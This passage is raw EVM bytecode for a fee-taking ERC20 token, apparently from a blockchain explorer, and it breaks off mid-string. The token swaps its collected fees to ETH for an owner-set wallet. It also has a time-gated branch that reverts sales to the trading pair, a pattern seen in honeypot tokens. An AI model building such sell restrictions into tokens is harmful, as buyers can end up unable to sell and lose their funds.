fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a7c610fb3565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0190612070565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f906120d8565b60405180910390fd5b6001600f60026101000a81548160ff0219169083151502179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610be590611f08565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1190611f08565b8015610c5c5780601f10610c3357610100808354040283529160200191610c5c565b820191905f5260205f20905b815481529060010190602001808311610c3f57829003601f168201915b5050505050905090565b5f8060015f610c73610fb3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490612166565b60405180910390fd5b610d41610d38610fb3565b85858403610fba565b600191505092915050565b5f610d5f610d58610fb3565b848461117d565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600e5481565b610df9610fb3565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e90612070565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec906121f4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f90612282565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d90612310565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111709190611dad565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e29061239e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112509061242c565b60405180910390fd5b5f81036112705761126b83835f611621565b61161c565b5f61127a306108ae565b90505f600e54821015905080801561129f5750600f60019054906101000a900460ff16155b80156112f8575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113105750600f60029054906101000a900460ff165b1561136f576001600f60016101000a81548160ff021916908315150217905550600f5f9054906101000a900460ff161561134a57600e5491505b6113548583611896565b5f600f60016101000a81548160ff0219169083151502179055505b600d5f9054906101000a900460ff1680156113d7575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561142f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561143c5750600c5442105b1561144b575f61144a575f80fd5b5b5f60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806114e7575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806114fe5750600f60019054906101000a900460ff165b1561150b575f90506115cf565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115695760095490506115ce565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036115c757600a5490506115cd565b600b5490505b5b5b5f81111561160d575f606482866115e6919061244a565b6115f091906124b8565b905080856115fe91906124e8565b945061160b873083611621565b505b611618868686611621565b5050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361168f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116869061239e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061242c565b60405180910390fd5b611708838383611b74565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561178b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117829061258b565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546118199190611ff3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161187d9190611dad565b60405180910390a3611890848484611b79565b50505050565b5f4790505f600367ffffffffffffffff8111156118b6576118b56125a9565b5b6040519080825280602002602001820160405280156118e45781602001602082028036833780820191505090505b50905030815f815181106118fb576118fa6125d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050838160018151811061194a576119496125d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119ee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a129190612617565b81600281518110611a2657611a256125d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b8152600401611ac2959493929190612732565b5f604051808303815f87803b158015611ad9575f80fd5b505af1158015611aeb573d5f803e3d5ffd5b505050505f8247611afc91906124e8565b90505f811115611b6d57600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b6b573d5f803e3d5ffd5b505b5050505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611bb5578082015181840152602081019050611b9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611bda82611b7e565b611be48185611b88565b9350611bf4818560208601611b98565b611bfd81611bc0565b840191505092915050565b5f6020820190508181035f830152611c208184611bd0565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c5582611c2c565b9050919050565b611c6581611c4b565b8114611c6f575f80fd5b50565b5f81359050611c8081611c5c565b92915050565b5f819050919050565b611c9881611c86565b8114611ca2575f80fd5b50565b5f81359050611cb381611c8f565b92915050565b5f8060408385031215611ccf57611cce611c28565b5b5f611cdc85828601611c72565b9250506020611ced85828601611ca5565b9150509250929050565b5f8115159050919050565b611d0b81611cf7565b82525050565b5f602082019050611d245f830184611d02565b92915050565b5f819050919050565b5f611d4d611d48611d4384611c2c565b611d2a565b611c2c565b9050919050565b5f611d5e82611d33565b9050919050565b5f611d6f82611d54565b9050919050565b611d7f81611d65565b82525050565b5f602082019050611d985f830184611d76565b92915050565b611da781611c86565b82525050565b5f602082019050611dc05f830184611d9e565b92915050565b5f805f60608486031215611ddd57611ddc611c28565b5b5f611dea86828701611c72565b9350506020611dfb86828701611c72565b9250506040611e0c86828701611ca5565b9150509250925092565b5f60ff82169050919050565b611e2b81611e16565b82525050565b5f602082019050611e445f830184611e22565b92915050565b611e5381611c4b565b82525050565b5f602082019050611e6c5f830184611e4a565b92915050565b5f60208284031215611e8757611e86611c28565b5b5f611e9484828501611c72565b91505092915050565b5f8060408385031215611eb357611eb2611c28565b5b5f611ec085828601611c72565b9250506020611ed185828601611c72565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f1f57607f821691505b602082108103611f3257611f31611edb565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611f92602883611b88565b9150611f9d82611f38565b604082019050919050565b5f6020820190508181035f830152611fbf81611f86565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ffd82611c86565b915061200883611c86565b92508282019050808211156120205761201f611fc6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61205a602083611b88565b915061206582612026565b602082019050919050565b5f6020820190508181035f8301526120878161204e565b9050919050565b7f4e65772061646472657373206973207a65726f000000000000000000000000005f82015250565b5f6120c2601383611b88565b91506120cd8261208e565b602082019050919050565b5f6020820190508181035f8301526120ef816120b6565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612150602583611b88565b915061215b826120f6565b604082019050919050565b5f6020820190508181035f83015261217d81612144565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6121de602683611b88565b91506121e982612184565b604082019050919050565b5f6020820190508181035f83015261220b816121d2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61226c602483611b88565b915061227782612212565b604082019050919050565b5f6020820190508181035f83015261229981612260565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6122fa602283611b88565b9150612305826122a0565b604082019050919050565b5f6020820190508181035f830152612327816122ee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612388602583611b88565b91506123938261232e565b604082019050919050565b5f6020820190508181035f8301526123b58161237c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612416602383611b88565b9150612421826123bc565b604082019050919050565b5f6020820190508181035f8301526124438161240a565b9050919050565b5f61245482611c86565b915061245f83611c86565b925082820261246d81611c86565b9150828204841483151761248457612483611fc6565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6124c282611c86565b91506124cd83611c86565b9250826124dd576124dc61248b565b5b828204905092915050565b5f6124f282611c86565b91506124fd83611c86565b925082820390508181111561251557612514611fc6565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612575602683611b88565b91506125808261251b565b604082019050919050565b5f6020820190508181035f8301526125a281612569565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061261181611c5c565b92915050565b5f6020828403121561262c5761262b611c28565b5b5f61263984828501612603565b91505092915050565b5f819050919050565b5f61266561266061265b84612642565b611d2a565b611c86565b9050919050565b6126758161264b565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6126ad81611c4b565b82525050565b5f6126be83836126a4565b60208301905092915050565b5f602082019050919050565b5f6126e08261267b565b6126ea8185612685565b93506126f583612695565b805f5b8381101561272557815161270c88826126b3565b9750612717836126ca565b9250506001810190506126f8565b5085935050505092915050565b5f60a0820190506127455f830188611d9e565b612752602083018761266c565b818103604083015261276481866126d6565b90506127736060830185611e4a565b6127806080830184611d9e565b969550505050505056fea26469706673582212202a7c35d75975a9f3c40b7a5bef093b35b4a1c211dc82da5b9b6fc63791027df564736f6c63430008170033

Deployed Bytecode

0x60806040526004361061014e575f3560e01c8063702509fd116100b557806395d89b411161006e57806395d89b411461047f578063a457c2d7146104a9578063a9059cbb146104e5578063dd62ed3e14610521578063e2f456051461055d578063f2fde38b1461058757610155565b8063702509fd1461038757806370a08231146103b157806370b7b80c146103ed578063715018a6146104175780638da5cb5b1461042d57806391c1004a1461045757610155565b8063313ce56711610107578063313ce5671461027957806339509351146102a357806347062402146102df578063488eb37f1461030957806349bd5a5e146103335780634ada218b1461035d57610155565b806306fdde0314610159578063095ea7b3146101835780631694505e146101bf57806318160ddd146101e957806323b872dd146102135780632b14ca561461024f57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d6105af565b60405161017a9190611c08565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a49190611cb9565b61063f565b6040516101b69190611d11565b60405180910390f35b3480156101ca575f80fd5b506101d361065c565b6040516101e09190611d85565b60405180910390f35b3480156101f4575f80fd5b506101fd610681565b60405161020a9190611dad565b60405180910390f35b34801561021e575f80fd5b5061023960048036038101906102349190611dc6565b61068a565b6040516102469190611d11565b60405180910390f35b34801561025a575f80fd5b506102636107a4565b6040516102709190611dad565b60405180910390f35b348015610284575f80fd5b5061028d6107aa565b60405161029a9190611e31565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190611cb9565b6107b2565b6040516102d69190611d11565b60405180910390f35b3480156102ea575f80fd5b506102f3610859565b6040516103009190611dad565b60405180910390f35b348015610314575f80fd5b5061031d61085f565b60405161032a9190611d11565b60405180910390f35b34801561033e575f80fd5b50610347610871565b6040516103549190611e59565b60405180910390f35b348015610368575f80fd5b50610371610896565b60405161037e9190611d11565b60405180910390f35b348015610392575f80fd5b5061039b6108a8565b6040516103a89190611dad565b60405180910390f35b3480156103bc575f80fd5b506103d760048036038101906103d29190611e72565b6108ae565b6040516103e49190611dad565b60405180910390f35b3480156103f8575f80fd5b506104016108f3565b60405161040e9190611dad565b60405180910390f35b348015610422575f80fd5b5061042b6108f9565b005b348015610438575f80fd5b50610441610a4c565b60405161044e9190611e59565b60405180910390f35b348015610462575f80fd5b5061047d60048036038101906104789190611e72565b610a74565b005b34801561048a575f80fd5b50610493610bd6565b6040516104a09190611c08565b60405180910390f35b3480156104b4575f80fd5b506104cf60048036038101906104ca9190611cb9565b610c66565b6040516104dc9190611d11565b60405180910390f35b3480156104f0575f80fd5b5061050b60048036038101906105069190611cb9565b610d4c565b6040516105189190611d11565b60405180910390f35b34801561052c575f80fd5b5061054760048036038101906105429190611e9d565b610d69565b6040516105549190611dad565b60405180910390f35b348015610568575f80fd5b50610571610deb565b60405161057e9190611dad565b60405180910390f35b348015610592575f80fd5b506105ad60048036038101906105a89190611e72565b610df1565b005b6060600380546105be90611f08565b80601f01602080910402602001604051908101604052809291908181526020018280546105ea90611f08565b80156106355780601f1061060c57610100808354040283529160200191610635565b820191905f5260205f20905b81548152906001019060200180831161061857829003601f168201915b5050505050905090565b5f61065261064b610fb3565b8484610fba565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d2610fb3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461078d5782811015610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f90611fa8565b60405180910390fd5b61078c85610784610fb3565b858403610fba565b5b61079885858561117d565b60019150509392505050565b600a5481565b5f6012905090565b5f61084f6107be610fb3565b848460015f6107cb610fb3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461084a9190611ff3565b610fba565b6001905092915050565b60095481565b600f5f9054906101000a900460ff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900460ff1681565b600b5481565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600c5481565b610901610fb3565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690612070565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a7c610fb3565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0190612070565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f906120d8565b60405180910390fd5b6001600f60026101000a81548160ff0219169083151502179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610be590611f08565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1190611f08565b8015610c5c5780601f10610c3357610100808354040283529160200191610c5c565b820191905f5260205f20905b815481529060010190602001808311610c3f57829003601f168201915b5050505050905090565b5f8060015f610c73610fb3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490612166565b60405180910390fd5b610d41610d38610fb3565b85858403610fba565b600191505092915050565b5f610d5f610d58610fb3565b848461117d565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600e5481565b610df9610fb3565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e90612070565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec906121f4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f90612282565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d90612310565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111709190611dad565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e29061239e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112509061242c565b60405180910390fd5b5f81036112705761126b83835f611621565b61161c565b5f61127a306108ae565b90505f600e54821015905080801561129f5750600f60019054906101000a900460ff16155b80156112f8575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113105750600f60029054906101000a900460ff165b1561136f576001600f60016101000a81548160ff021916908315150217905550600f5f9054906101000a900460ff161561134a57600e5491505b6113548583611896565b5f600f60016101000a81548160ff0219169083151502179055505b600d5f9054906101000a900460ff1680156113d7575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561142f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561143c5750600c5442105b1561144b575f61144a575f80fd5b5b5f60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806114e7575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806114fe5750600f60019054906101000a900460ff165b1561150b575f90506115cf565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115695760095490506115ce565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036115c757600a5490506115cd565b600b5490505b5b5b5f81111561160d575f606482866115e6919061244a565b6115f091906124b8565b905080856115fe91906124e8565b945061160b873083611621565b505b611618868686611621565b5050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361168f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116869061239e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061242c565b60405180910390fd5b611708838383611b74565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561178b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117829061258b565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546118199190611ff3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161187d9190611dad565b60405180910390a3611890848484611b79565b50505050565b5f4790505f600367ffffffffffffffff8111156118b6576118b56125a9565b5b6040519080825280602002602001820160405280156118e45781602001602082028036833780820191505090505b50905030815f815181106118fb576118fa6125d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050838160018151811061194a576119496125d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119ee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a129190612617565b81600281518110611a2657611a256125d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b8152600401611ac2959493929190612732565b5f604051808303815f87803b158015611ad9575f80fd5b505af1158015611aeb573d5f803e3d5ffd5b505050505f8247611afc91906124e8565b90505f811115611b6d57600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b6b573d5f803e3d5ffd5b505b5050505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611bb5578082015181840152602081019050611b9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611bda82611b7e565b611be48185611b88565b9350611bf4818560208601611b98565b611bfd81611bc0565b840191505092915050565b5f6020820190508181035f830152611c208184611bd0565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c5582611c2c565b9050919050565b611c6581611c4b565b8114611c6f575f80fd5b50565b5f81359050611c8081611c5c565b92915050565b5f819050919050565b611c9881611c86565b8114611ca2575f80fd5b50565b5f81359050611cb381611c8f565b92915050565b5f8060408385031215611ccf57611cce611c28565b5b5f611cdc85828601611c72565b9250506020611ced85828601611ca5565b9150509250929050565b5f8115159050919050565b611d0b81611cf7565b82525050565b5f602082019050611d245f830184611d02565b92915050565b5f819050919050565b5f611d4d611d48611d4384611c2c565b611d2a565b611c2c565b9050919050565b5f611d5e82611d33565b9050919050565b5f611d6f82611d54565b9050919050565b611d7f81611d65565b82525050565b5f602082019050611d985f830184611d76565b92915050565b611da781611c86565b82525050565b5f602082019050611dc05f830184611d9e565b92915050565b5f805f60608486031215611ddd57611ddc611c28565b5b5f611dea86828701611c72565b9350506020611dfb86828701611c72565b9250506040611e0c86828701611ca5565b9150509250925092565b5f60ff82169050919050565b611e2b81611e16565b82525050565b5f602082019050611e445f830184611e22565b92915050565b611e5381611c4b565b82525050565b5f602082019050611e6c5f830184611e4a565b92915050565b5f60208284031215611e8757611e86611c28565b5b5f611e9484828501611c72565b91505092915050565b5f8060408385031215611eb357611eb2611c28565b5b5f611ec085828601611c72565b9250506020611ed185828601611c72565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f1f57607f821691505b602082108103611f3257611f31611edb565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611f92602883611b88565b9150611f9d82611f38565b604082019050919050565b5f6020820190508181035f830152611fbf81611f86565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ffd82611c86565b915061200883611c86565b92508282019050808211156120205761201f611fc6565b5b92915050565b7f4f776e61626c653a